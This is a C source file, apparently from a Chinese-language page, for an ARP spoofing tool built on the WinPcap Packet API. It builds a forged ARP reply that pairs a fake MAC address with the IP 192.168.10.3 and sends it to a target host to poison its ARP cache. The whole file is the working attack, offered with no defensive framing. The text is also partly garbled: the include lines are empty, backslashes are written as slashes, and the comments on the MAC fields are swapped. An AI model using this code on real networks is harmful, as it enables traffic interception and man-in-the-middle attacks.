ARP欺骗源码

///////////////////////////////////////////////////////////////////////////////
//
// ARP Sender
//
//
// 2002/4/7
//
////////////////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "Mac.h" //GetMacAddr()，
#include
#include

#define EPT_IP 0x0800 /* type: IP */
#define EPT_ARP 0x0806 /* type: ARP */
#define EPT_RARP 0x8035 /* type: RARP */
#define ARP_HARDWARE 0x0001 /* Dummy type for 802.3 frames */
#define ARP_REQUEST 0x0001 /* ARP request */
#define ARP_REPLY 0x0002 /* ARP reply */

#define Max_Num_Adapter 10

#pragma pack(push, 1)

typedef struct ehhdr
{
unsigned char eh_dst[6]; /* destination ethernet addrress */
unsigned char eh_src[6]; /* source ethernet addresss */
unsigned short eh_type; /* ethernet pachet type */
}EHHDR, *PEHHDR;

typedef struct arphdr
{
unsigned short arp_hrd; /* format of hardware address */
unsigned short arp_pro; /* format of protocol address */
unsigned char arp_hln; /* length of hardware address */
unsigned char arp_pln; /* length of protocol address */
unsigned short arp_op; /* ARP/RARP operation */

unsigned char arp_sha[6]; /* sender hardware address */
unsigned long arp_spa; /* sender protocol address */
unsigned char arp_tha[6]; /* target hardware address */
unsigned long arp_tpa; /* target protocol address */
}ARPHDR, *PARPHDR;

typedef struct arpPacket
{
EHHDR ehhdr;
ARPHDR arphdr;
} ARPPACKET, *PARPPACKET;

#pragma pack(pop)

int main(int argc, char* argv[])
{
static char AdapterList[Max_Num_Adapter][1024];
char szPacketBuf[600];
char MacAddr[6];

LPADAPTER lpAdapter;
LPPACKET lpPacket;
WCHAR AdapterName[2048];
WCHAR *temp,*temp1;
ARPPACKET ARPPacket;

ULONG AdapterLength = 1024;

int AdapterNum = 0;
int nRetCode, i;

//Get The list of Adapter
if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE)
{
printf("Unable to retrieve the list of the adapters!/n");
return 0;
}

temp = AdapterName;
temp1=AdapterName;
i = 0;
while ((*temp != '/0')||(*(temp-1) != '/0'))
{
if (*temp == '/0')
{
memcpy(AdapterList[i],temp1,(temp-temp1)*2);
temp1=temp+1;
i++;
}

temp++;
}

AdapterNum = i;
for (i = 0; i < AdapterNum; i++)
wprintf(L"/n%d- %s/n", i+1, AdapterList[i]);
printf("/n");

//Default open the 0
lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[0]);
//取第一个网卡（假设啦）

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
nRetCode = GetLastError();
printf("Unable to open the driver, Error Code : %lx/n", nRetCode);
return 0;
}

lpPacket = PacketAllocatePacket();
if(lpPacket == NULL)
{
printf("/nError:failed to allocate the LPPACKET structure.");
return 0;
}

ZeroMemory(szPacketBuf, sizeof(szPacketBuf));

if (!GetMacAddr("BBBBBBBBBBBB", MacAddr))
{
printf ("Get Mac address error!/n");
}
memcpy(ARPPacket.ehhdr.eh_dst, MacAddr, 6); //源MAC地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!/n");
return 0;
}
memcpy(ARPPacket.ehhdr.eh_src, MacAddr, 6); //目的MAC地址。（A的地址）

ARPPacket.ehhdr.eh_type = htons(EPT_ARP);

ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);
ARPPacket.arphdr.arp_pro = htons(EPT_IP);
ARPPacket.arphdr.arp_hln = 6;
ARPPacket.arphdr.arp_pln = 4;
ARPPacket.arphdr.arp_op = htons(ARP_REPLY);

if (!GetMacAddr("DDDDDDDDDDDD", MacAddr))
{
printf ("Get Mac address error!/n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_sha, MacAddr, 6); //伪造的C的MAC地址
ARPPacket.arphdr.arp_spa = inet_addr("192.168.10.3"); //C的IP地址

if (!GetMacAddr("AAAAAAAAAAAA", MacAddr))
{
printf ("Get Mac address error!/n");
return 0;
}
memcpy(ARPPacket.arphdr.arp_tha , MacAddr, 6); //目标A的MAC地址
ARPPacket.arphdr.arp_tpa = inet_addr("192.168.10.1"); //目标A的IP地址

memcpy(szPacketBuf, (char*)&ARPPacket, sizeof(ARPPacket));
PacketInitPacket(lpPacket, szPacketBuf, 60);

if(PacketSetNumWrites(lpAdapter, 2)==FALSE)
{
printf("warning: Unable to send more than one packet in a single write!/n");
}

if(PacketSendPacket(lpAdapter, lpPacket, TRUE)==FALSE)
{
printf("Error sending the packets!/n");
return 0;
}

printf ("Send ok!/n");

// close the adapter and exit
PacketFreePacket(lpPacket);
PacketCloseAdapter(lpAdapter);
return 0;
}